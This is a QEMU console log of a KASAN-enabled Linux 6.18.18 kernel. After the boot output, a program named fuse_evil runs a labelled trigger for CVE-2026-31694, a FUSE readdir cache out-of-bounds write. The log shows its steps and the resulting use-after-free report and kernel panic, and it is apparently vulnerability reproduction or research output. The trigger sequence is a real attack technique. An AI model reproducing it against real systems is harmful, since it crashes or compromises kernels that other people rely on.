c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+7EFC8BD0+7EF08BD0 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@e35a0ac465dd) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #2 SMP PREEMPT_DYNAMIC Fri Jul 3 17:24:53 UTC 2026 [ 0.000000] Command line: console=ttyS0 rdinit=/init panic=1 kasan.fault=panic [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000007ffdffff] usable [ 0.000000] BIOS-e820: [mem 0x000000007ffe0000-0x000000007fffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.125 MHz processor [ 0.021888] last_pfn = 0x7ffe0 max_arch_pfn = 0x400000000 [ 0.022552] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.022750] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.040739] found SMP MP-table at [mem 0x000f5460-0x000f546f] [ 0.052401] RAMDISK: [mem 0x7fe47000-0x7ffdffff] [ 0.052832] ACPI: Early table checksum verification disabled [ 0.053306] ACPI: RSDP 0x00000000000F5280 000014 (v00 BOCHS ) [ 0.053655] ACPI: RSDT 0x000000007FFE2335 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054470] ACPI: FACP 0x000000007FFE21E9 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055222] ACPI: DSDT 0x000000007FFE0040 0021A9 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055500] ACPI: FACS 0x000000007FFE0000 000040 [ 0.055614] ACPI: APIC 0x000000007FFE225D 000078 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055697] ACPI: HPET 0x000000007FFE22D5 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055777] ACPI: WAET 0x000000007FFE230D 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055907] ACPI: Reserving FACP table memory at [mem 0x7ffe21e9-0x7ffe225c] [ 0.055954] ACPI: Reserving DSDT table memory at [mem 0x7ffe0040-0x7ffe21e8] [ 0.055986] ACPI: Reserving FACS table memory at [mem 0x7ffe0000-0x7ffe003f] [ 0.056016] ACPI: Reserving APIC table memory at [mem 0x7ffe225d-0x7ffe22d4] [ 0.056062] ACPI: Reserving HPET table memory at [mem 0x7ffe22d5-0x7ffe230c] [ 0.056099] ACPI: Reserving WAET table memory at [mem 0x7ffe230d-0x7ffe2334] [ 0.061949] No NUMA configuration found [ 0.061998] Faking a node at [mem 0x0000000000000000-0x000000007ffdffff] [ 0.062822] NODE_DATA(0) allocated [mem 0x7fe43900-0x7fe46fff] [ 0.064791] Zone ranges: [ 0.064829] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.064930] DMA32 [mem 0x0000000001000000-0x000000007ffdffff] [ 0.064968] Normal empty [ 0.065002] Movable zone start for each node [ 0.065034] Early memory node ranges [ 0.065099] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.065300] node 0: [mem 0x0000000000100000-0x000000007ffdffff] [ 0.065486] Initmem setup node 0 [mem 0x0000000000001000-0x000000007ffdffff] [ 0.066894] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.069870] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.473381] On node 0, zone DMA32: 32 pages in unavailable ranges [ 0.693378] KernelAddressSanitizer initialized (generic) [ 0.694329] ACPI: PM-Timer IO Port: 0x608 [ 0.694911] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.696291] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.696805] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.697756] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.697938] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.698208] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.698292] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.699011] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.699259] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.700461] CPU topo: Max. logical packages: 1 [ 0.700501] CPU topo: Max. logical dies: 1 [ 0.700526] CPU topo: Max. dies per package: 1 [ 0.700618] CPU topo: Max. threads per core: 1 [ 0.700812] CPU topo: Num. cores per package: 1 [ 0.700875] CPU topo: Num. threads per package: 1 [ 0.700899] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs [ 0.701962] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.702056] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.702230] [mem 0x80000000-0xfffbffff] available for PCI devices [ 0.702346] Booting paravirtualized kernel on bare hardware [ 0.702682] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.834329] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1 [ 0.837198] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u2097152 [ 0.839963] Kernel command line: console=ttyS0 rdinit=/init panic=1 kasan.fault=panic [ 0.841940] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.843261] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 0.843591] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear) [ 0.847451] Fallback order for Node 0: 0 [ 0.847778] Built 1 zonelists, mobility grouping on. Total pages: 524158 [ 0.847825] Policy zone: DMA32 [ 0.848064] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 0.848141] stackdepot: allocating hash table via alloc_large_system_hash [ 0.848242] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 0.874868] stackdepot: allocating space for 8192 stack pools via memblock [ 1.009296] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 1.031291] Dynamic Preempt: voluntary [ 1.038574] rcu: Preemptible hierarchical RCU implementation. [ 1.038610] rcu: RCU event tracing is enabled. [ 1.038642] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. [ 1.038759] Trampoline variant of Tasks RCU enabled. [ 1.038777] Tracing variant of Tasks RCU enabled. [ 1.038889] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.038933] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 [ 1.041408] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 1.041520] RCU Tasks Trace: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 1.518928] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 [ 1.534765] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.542995] Console: colour VGA+ 80x25 [ 1.545977] printk: legacy console [ttyS0] enabled [ 1.568359] ACPI: Core revision 20250807 [ 1.580930] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.586775] APIC: Switch to symmetric I/O mode setup [ 1.597149] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 1.603847] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ebbdb7f9, max_idle_ns: 440795348938 ns [ 1.604839] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.25 BogoMIPS (lpj=3000125) [ 1.610623] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 1.610856] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 1.611661] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 1.612697] Spectre V2 : Mitigation: Retpolines [ 1.613034] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 1.613452] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 1.617212] x86/fpu: x87 FPU will use FXSAVE [ 2.371698] Freeing SMP alternatives memory: 52K [ 2.372970] pid_max: default: 32768 minimum: 301 [ 2.383106] LSM: initializing lsm=capability,selinux [ 2.386334] SELinux: Initializing. [ 2.395665] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes, linear) [ 2.395985] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes, linear) [ 2.546527] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.570061] Performance Events: PMU not available due to virtualization, using software events only. [ 2.571840] signal: max sigframe size: 1440 [ 2.574666] rcu: Hierarchical SRCU implementation. [ 2.574922] rcu: Max phase no-delay instances is 400. [ 2.599379] smp: Bringing up secondary CPUs ... [ 2.602213] smp: Brought up 1 node, 1 CPU [ 2.602609] smpboot: Total of 1 processors activated (6000.25 BogoMIPS) [ 2.617582] Memory: 1701580K/2096632K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 390876K reserved, 0K cma-reserved) [ 2.633490] devtmpfs: initialized [ 2.686665] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 2.687712] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear) [ 2.688963] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear). [ 2.696257] PM: RTC time: 17:45:53, date: 2026-07-03 [ 2.709368] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 2.724661] audit: initializing netlink subsys (disabled) [ 2.728874] audit: type=2000 audit(1783100753.137:1): state=initialized audit_enabled=0 res=1 [ 2.743369] thermal_sys: Registered thermal governor 'step_wise' [ 2.744785] cpuidle: using governor menu [ 2.756746] PCI: Using configuration type 1 for base access [ 2.762781] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 2.778356] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 2.778636] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 2.818419] ACPI: Added _OSI(Module Device) [ 2.818857] ACPI: Added _OSI(Processor Device) [ 2.819006] ACPI: Added _OSI(Processor Aggregator Device) [ 3.945014] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 4.173961] ACPI: Interpreter enabled [ 4.177713] ACPI: PM: (supports S0 S3 S4 S5) [ 4.178257] ACPI: Using IOAPIC for interrupt routing [ 4.180236] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 4.180625] PCI: Using E820 reservations for host bridge windows [ 4.204237] ACPI: Enabled 2 GPEs in block 00 to 0F [ 5.834274] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 5.836017] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 5.836583] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 5.841630] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 5.879173] PCI host bridge to bus 0000:00 [ 5.881105] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 5.881641] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 5.882568] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 5.882986] pci_bus 0000:00: root bus resource [mem 0x80000000-0xfebfffff window] [ 5.883272] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window] [ 5.883848] pci_bus 0000:00: root bus resource [bus 00-ff] [ 5.886045] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 5.923968] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 5.975222] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 5.976342] pci 0000:00:01.1: BAR 4 [io 0xc040-0xc04f] [ 5.976688] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 5.976922] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 5.977123] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 5.977336] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 5.994559] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 5.995984] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 5.996252] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 6.034145] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 6.034999] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 6.035606] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 6.035829] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 6.037276] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 6.075845] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 6.076804] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 6.077052] pci 0000:00:03.0: BAR 1 [io 0xc000-0xc03f] [ 6.077222] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 6.821374] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 6.876934] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 6.922599] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 6.968600] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 6.988625] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 7.095173] iommu: Default domain type: Translated [ 7.095457] iommu: DMA domain TLB invalidation policy: lazy mode [ 7.119260] SCSI subsystem initialized [ 7.133197] ACPI: bus type USB registered [ 7.136224] usbcore: registered new interface driver usbfs [ 7.137900] usbcore: registered new interface driver hub [ 7.147028] usbcore: registered new device driver usb [ 7.149572] pps_core: LinuxPPS API ver. 1 registered [ 7.149800] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 7.150402] PTP clock support registered [ 7.163808] Advanced Linux Sound Architecture Driver Initialized. [ 7.213606] NetLabel: Initializing [ 7.213916] NetLabel: domain hash size = 128 [ 7.214073] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 7.221252] NetLabel: unlabeled traffic allowed by default [ 7.243093] PCI: Using ACPI for IRQ routing [ 7.254527] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 7.254527] pci 0000:00:02.0: vgaarb: bridge control possible [ 7.254527] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 7.254597] vgaarb: loaded [ 7.260950] hpet: 3 channels of 0 reserved for per-cpu timers [ 7.261552] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 7.261926] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 7.274355] clocksource: Switched to clocksource tsc-early [ 7.873521] VFS: Disk quotas dquot_6.6.0 [ 7.874434] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 7.896829] pnp: PnP ACPI init [ 7.968167] pnp: PnP ACPI: found 6 devices [ 8.179343] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 8.182002] NET: Registered PF_INET protocol family [ 8.184750] IP idents hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 8.207437] tcp_listen_portaddr_hash hash table entries: 1024 (order: 2, 16384 bytes, linear) [ 8.207999] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 8.208649] TCP established hash table entries: 16384 (order: 5, 131072 bytes, linear) [ 8.210137] TCP bind hash table entries: 16384 (order: 7, 524288 bytes, linear) [ 8.212689] TCP: Hash tables configured (established 16384 bind 16384) [ 8.214713] UDP hash table entries: 1024 (order: 4, 65536 bytes, linear) [ 8.215399] UDP-Lite hash table entries: 1024 (order: 4, 65536 bytes, linear) [ 8.219453] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 8.229251] RPC: Registered named UNIX socket transport module. [ 8.229521] RPC: Registered udp transport module. [ 8.229718] RPC: Registered tcp transport module. [ 8.229857] RPC: Registered tcp-with-tls transport module. [ 8.230001] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 8.249414] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 8.249732] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 8.249930] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 8.250788] pci_bus 0000:00: resource 7 [mem 0x80000000-0xfebfffff window] [ 8.251012] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window] [ 8.257333] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 8.257700] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 8.258442] PCI: CLS 0 bytes, default 64 [ 8.278710] Unpacking initramfs... [ 8.327678] Initialise system trusted keyrings [ 8.337615] workingset: timestamp_bits=56 max_order=19 bucket_order=0 [ 8.389689] NFS: Registering the id_resolver key type [ 8.390594] Key type id_resolver registered [ 8.393964] Key type id_legacy registered [ 8.401447] 9p: Installing v9fs 9p2000 file system support [ 8.940544] Key type asymmetric registered [ 8.941011] Asymmetric key parser 'x509' registered [ 8.946286] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 8.949167] io scheduler mq-deadline registered [ 8.949436] io scheduler kyber registered [ 8.974184] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 8.998647] ACPI: button: Power Button [PWRF] [ 9.002841] Freeing initrd memory: 1636K [ 9.018191] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 9.031745] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 9.079018] Non-volatile memory driver v1.3 [ 9.079589] Linux agpgart interface v0.103 [ 9.087358] ACPI: bus type drm_connector registered [ 9.247412] loop: module loaded [ 9.302476] tsc: Refined TSC clocksource calibration: 3000.112 MHz [ 9.303271] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eaf12c70, max_idle_ns: 440795309043 ns [ 9.304502] clocksource: Switched to clocksource tsc [ 9.309157] scsi host0: ata_piix [ 9.321619] scsi host1: ata_piix [ 9.327536] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14 lpm-pol 0 [ 9.327874] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15 lpm-pol 0 [ 9.364401] e100: Intel(R) PRO/100 Network Driver [ 9.364673] e100: Copyright(c) 1999-2006 Intel Corporation [ 9.365960] e1000: Intel(R) PRO/1000 Network Driver [ 9.366381] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 9.489130] ata2: found unknown device (class 0) [ 9.498684] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 9.537718] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 9.586620] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 9.587517] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 9.677574] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 9.974547] ACPI: \_SB_.LNKC: Enabled at IRQ 11 [ 10.279483] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 10.280575] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 10.283591] e1000e: Intel(R) PRO/1000 Network Driver [ 10.283786] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 10.285440] sky2: driver version 1.30 [ 10.302241] usbcore: registered new interface driver usblp [ 10.303814] usbcore: registered new interface driver usb-storage [ 10.307266] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 10.314487] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 10.315161] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 10.333708] rtc_cmos 00:05: RTC can wake from S4 [ 10.339011] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 10.375824] rtc_cmos 00:05: registered as rtc0 [ 10.380828] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 10.389215] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 10.389909] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 10.392555] hid: raw HID events driver (C) Jiri Kosina [ 10.417443] usbcore: registered new interface driver usbhid [ 10.418529] usbhid: USB HID core driver [ 10.444205] Initializing XFRM netlink socket [ 10.446226] NET: Registered PF_INET6 protocol family [ 10.468915] Segment Routing with IPv6 [ 10.470355] In-situ OAM (IOAM) with IPv6 [ 10.472512] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 10.487921] NET: Registered PF_PACKET protocol family [ 10.491102] 9pnet: Installing 9P2000 support [ 10.492607] Key type dns_resolver registered [ 10.502226] IPI shorthand broadcast: enabled [ 10.802521] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 11.258698] sched_clock: Marking stable (11204055538, 54002895)->(11271849844, -13791411) [ 11.268340] registered taskstats version 1 [ 11.268687] Loading compiled-in X.509 certificates [ 11.688690] Demotion targets for Node 0: null [ 11.696960] PM: Magic number: 2:271:794 [ 11.697797] netconsole: network logging started [ 11.706084] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 11.722381] kworker/u4:0 (50) used greatest stack depth: 29312 bytes left [ 11.750604] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 11.757463] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 11.760449] ALSA device list: [ 11.761741] No soundcards found. [ 11.771652] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 11.773786] cfg80211: failed to load regulatory.db [ 11.858656] Freeing unused kernel image (initmem) memory: 5644K [ 11.859649] Write protecting the kernel read-only data: 40960k [ 11.864911] Freeing unused kernel image (text/rodata gap) memory: 564K [ 11.866389] Freeing unused kernel image (rodata/data gap) memory: 308K [ 12.446365] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 12.447800] Run /init as init process [ 12.612741] busybox (53) used greatest stack depth: 27976 bytes left [ 12.836146] fuse: init (API version 7.45) [ 12.855014] busybox (57) used greatest stack depth: 27680 bytes left CVE-2026-31694 FUSE readdir cache OOB write trigger kernel: 6.18.18 [ 12.985573] insmod (62) used greatest stack depth: 27616 bytes left [fuse_evil] opened /dev/fuse (fd=3) [fuse_evil] daemon loop started (pid=63) [fuse_evil] applying memory pressure (allocating and freeing 100MB)... [fuse_evil] memory pressure applied [fuse_evil] mounting FUSE at /mnt/fuse (opts: fd=3,rootmode=0040000,user_id=0,group_id=0) [fuse_evil] FUSE mounted successfully [fuse_evil] opcode=26 unique=2 nodeid=0 len=104 [fuse_evil] FUSE_INIT response sent (max_pages=256) [fuse_evil] opcode=27 unique=4 nodeid=1 len=48 [fuse_evil] opened /mnt/fuse (fd=4) [fuse_evil] calling getdents64 (bufsize=16384)... [fuse_evil] FUSE_OPENDIR response sent (FOPEN_CACHE_DIR set) [fuse_evil] opcode=3 unique=6 nodeid=1 len=56 [fuse_evil] FUSE_GETATTR response sent for nodeid=1 [fuse_evil] opcode=28 unique=8 nodeid=1 len=80 [fuse_evil] FUSE_READDIR offset=0 size=16384 [ 13.622795] ================================================================== [ 13.623573] BUG: KASAN: use-after-free in fuse_emit+0x2e3/0x490 [fuse] [ 13.624569] Write of size 4120 at addr ffff8880447e1000 by task fuse_evil/58 [ 13.624830] [ 13.625350] CPU: 0 UID: 0 PID: 58 Comm: fuse_evil Not tainted 6.18.18 #2 PREEMPT(voluntary) [ 13.625656] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.625812] Call Trace: [ 13.625878] [ 13.625947] dump_stack_lvl+0x4d/0x70 [ 13.626093] print_report+0x170/0x4f3 [ 13.626135] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 13.626182] ? __virt_addr_valid+0xe7/0x1d0 [ 13.626256] kasan_report+0xda/0x110 [ 13.626301] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.626603] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.626857] kasan_check_range+0x125/0x200 [ 13.626902] __asan_memcpy+0x3c/0x60 [ 13.626944] fuse_emit+0x2e3/0x490 [fuse] [ 13.627211] fuse_readdir_uncached+0x7ab/0xc40 [fuse] [ 13.627507] ? fuse_do_getattr+0x270/0x3a0 [fuse] [ 13.627786] ? __pfx_fuse_readdir_uncached+0x10/0x10 [fuse] [ 13.628026] ? __pfx_fuse_do_getattr+0x10/0x10 [fuse] [ 13.628286] ? update_load_avg+0x100/0xc10 [ 13.628346] ? _raw_spin_unlock+0xd/0x30 [ 13.628384] ? finish_task_switch.isra.0+0xc3/0x370 [ 13.628492] ? down_read_killable+0x136/0x1f0 [ 13.628542] ? iterate_dir+0xa9/0x250 [ 13.628591] iterate_dir+0xe6/0x250 [ 13.628628] ? fdget_pos+0x132/0x210 [ 13.628670] __x64_sys_getdents64+0xea/0x1a0 [ 13.628707] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 13.628744] ? __pfx_filldir64+0x10/0x10 [ 13.628792] do_syscall_64+0xa4/0x2f0 [ 13.628831] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 13.628934] RIP: 0033:0x426e9d [ 13.629079] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 f0 ff ff ff f7 d8 64 89 01 48 [ 13.629155] RSP: 002b:00007ffcaa196268 EFLAGS: 00000246 ORIG_RAX: 00000000000000d9 [ 13.629292] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000426e9d [ 13.629342] RDX: 0000000000004000 RSI: 00007ffcaa198380 RDI: 0000000000000004 [ 13.629376] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 13.629406] R10: 0000000000000001 R11: 0000000000000246 R12: 00007ffcaa198380 [ 13.629467] R13: 00007ffcaa19c518 R14: 00007ffcaa196280 R15: 00000000004b4100 [ 13.629572] [ 13.629660] [ 13.634148] The buggy address belongs to the physical page: [ 13.634550] page: refcount:3 mapcount:0 mapping:(____ptrval____) index:0x1 pfn:0x447e1 [ 13.635096] aops:empty_aops ino:1 dentry name(?):"/" [ 13.635344] flags: 0x10000000000000d(locked|referenced|uptodate|node=0|zone=1) [ 13.636144] raw: 010000000000000d 0000000000000000 dead000000000122 ffff888001562160 [ 13.636408] raw: 0000000000000001 0000000000000000 00000003ffffffff 0000000000000000 [ 13.636737] page dumped because: kasan: bad access detected [ 13.636887] [ 13.636944] Memory state around the buggy address: [ 13.637172] ffff8880447e1f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 13.637417] ffff8880447e1f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 13.638028] >ffff8880447e2000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.638249] ^ [ 13.638452] ffff8880447e2080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.638685] ffff8880447e2100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.638892] ================================================================== [ 13.639584] Kernel panic - not syncing: kasan.fault=panic set ... [ 13.639938] CPU: 0 UID: 0 PID: 58 Comm: fuse_evil Not tainted 6.18.18 #2 PREEMPT(voluntary) [ 13.640312] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.640660] Call Trace: [ 13.640775] [ 13.640852] dump_stack_lvl+0x4d/0x70 [ 13.640983] vpanic+0xd8/0x2f0 [ 